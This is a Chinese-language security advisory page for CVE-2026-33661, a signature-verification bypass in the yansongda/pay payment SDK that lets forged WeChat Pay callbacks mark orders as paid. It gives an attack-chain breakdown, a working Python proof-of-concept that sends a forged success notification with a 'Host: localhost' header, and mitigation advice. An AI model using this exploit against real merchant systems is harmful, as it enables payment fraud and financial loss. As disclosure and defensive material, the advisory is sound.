IPBUF安全漏洞报告
English
CVE-2026-33661 CVSS 8.6 高危

CVE-2026-33661: Pay SDK签名验证绕过漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33661
漏洞类型
认证绕过
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Pay (yansongda/pay)

相关标签

认证绕过逻辑漏洞Pay SDK微信支付CVSS-8.6

漏洞概述

Pay SDK是一个用于中文支付服务的开源扩展包。在3.7.20版本之前,`verify_wechat_sign()`函数存在逻辑缺陷,当PSR-7请求Host为localhost时会跳过签名验证。攻击者可利用此漏洞伪造微信支付回调通知,绕过RSA签名检查,导致应用将未支付订单标记为已支付。

技术细节

该漏洞根因位于`src/Functions.php`文件中的`verify_wechat_sign()`函数实现逻辑。在处理微信支付回调通知时,该函数包含一个不当的开发环境判断逻辑:如果PSR-7请求对象报告的Host名为"localhost",函数默认认为处于开发环境,从而直接返回验证通过,完全跳过了对回调数据完整性和来源真实性的RSA签名校验。攻击者利用这一逻辑缺陷,无需知晓商户的API密钥或私钥,只需向服务器的支付回调接口发送特制的HTTP POST请求,并将Header中的Host字段强制设为"localhost"。由于绕过了签名检查,服务器会误认为该请求来自微信官方支付网关,进而执行订单更新逻辑,导致攻击者能够以零成本伪造支付成功的交易记录,造成严重的资损风险。

攻击链分析

STEP 1
侦察
识别目标应用使用yansongda/pay组件且版本低于3.7.20,并确定微信支付回调接口的URL路径。
STEP 2
构造攻击载荷
准备一个伪造的HTTP POST请求,包含模拟支付成功的业务数据(如订单号、金额等),无需计算合法的签名。
STEP 3
发送恶意请求
向回调接口发送请求,并在HTTP Header中强制添加`Host: localhost`字段,欺骗服务器认为请求来自本地。
STEP 4
绕过验证
服务器端`verify_wechat_sign()`函数检测到Host为localhost,跳过RSA签名校验,直接返回验证成功。
STEP 5
达成利用
应用处理回调逻辑,将攻击者指定的订单状态更新为“已支付”,完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_poc(target_url): """ PoC for CVE-2026-33661 Bypass signature verification by setting Host header to localhost. """ # Malicious payload simulating a successful payment notification # The actual content does not matter as verification is skipped data = { "out_trade_no": "VULNERABLE_ORDER_ID", "result_code": "SUCCESS", "total_fee": "10000" } # The critical header that triggers the vulnerability headers = { "Host": "localhost", "User-Agent": "PoC-Client/1.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[+] Sending exploit request to {target_url}...") response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[!] Request sent successfully. Check if order status changed.") print(f"[+] Response: {response.text}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {str(e)}") if __name__ == "__main__": target = "http://example.com/api/payment/callback/wechat" # Replace with actual target exploit_poc(target)

影响范围

yansongda/pay < 3.7.20

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器或WAF层面添加严格规则,拦截Host头为“localhost”或包含内网IP地址的外部请求。同时,可以在应用网关层对回调接口的来源IP进行严格限制,仅允许微信支付官方网关IP段访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表